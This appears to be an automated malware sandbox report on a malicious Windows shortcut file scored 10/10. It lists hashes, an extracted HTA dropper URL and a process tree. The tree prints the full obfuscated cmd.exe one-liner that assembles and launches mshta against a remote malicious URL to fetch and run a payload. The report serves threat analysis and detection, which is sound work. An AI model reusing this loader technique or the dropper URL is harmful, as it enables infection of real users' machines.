Analysis

  • max time kernel
    148s
  • max time network
    133s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 13:12

General

  • Target
    DOC-HG6TRJ.lnk
  • Size 2KB
  • Sample260803-qfpj6aaa64
  • SHA256 0539b9db02ca436af58204f4bb64b08b67037d0e87bff3a1bf3b086b2c1947e0
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-HG6TRJ.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5856
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set ZHb=bakxbvibqwozbak&&set TIjQ=datumzdepmsdat&&set zNve=sysnyxbbjrctasys&&set cVDKS=cfgkjedlgtugjcfg&&set Dv=oldwixynuaold&&set lPIc=cfgrjwlxdqhamjtmxjjupcfg&&set pSbS=datxehdordat&&set meN=cachedqziranvnfcache&&set EyGA=cfghkfofdrnlfvdiredlncfg&&set zBiUE=pl6syt&&set QWUy=gqatakv&&set YKDqG=frtczg&&set JhZOU=tmpcitgljyxzvihjwhchatmp&&set aM=mmshv8r&&set NZyWz=08tt&&set cWwt=m0pau&&set JF=cfguqbnwgksqvkgbyacbcfg&&set VYdl=tmphjanrzauxjgdfuktmp&&set pp=h@t@tp@s@://bo-@[email protected]@/h/es@tag@i@[email protected]@p?r=36@0@7@6@1@F@15@79@4&&start /b !aM:~1,3!!NZyWz:~2,1!!cWwt:~3,1! !pp:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5248
      • C:\Windows\System32\mshta.exe
        mshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
        3⤵
          PID:6020

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads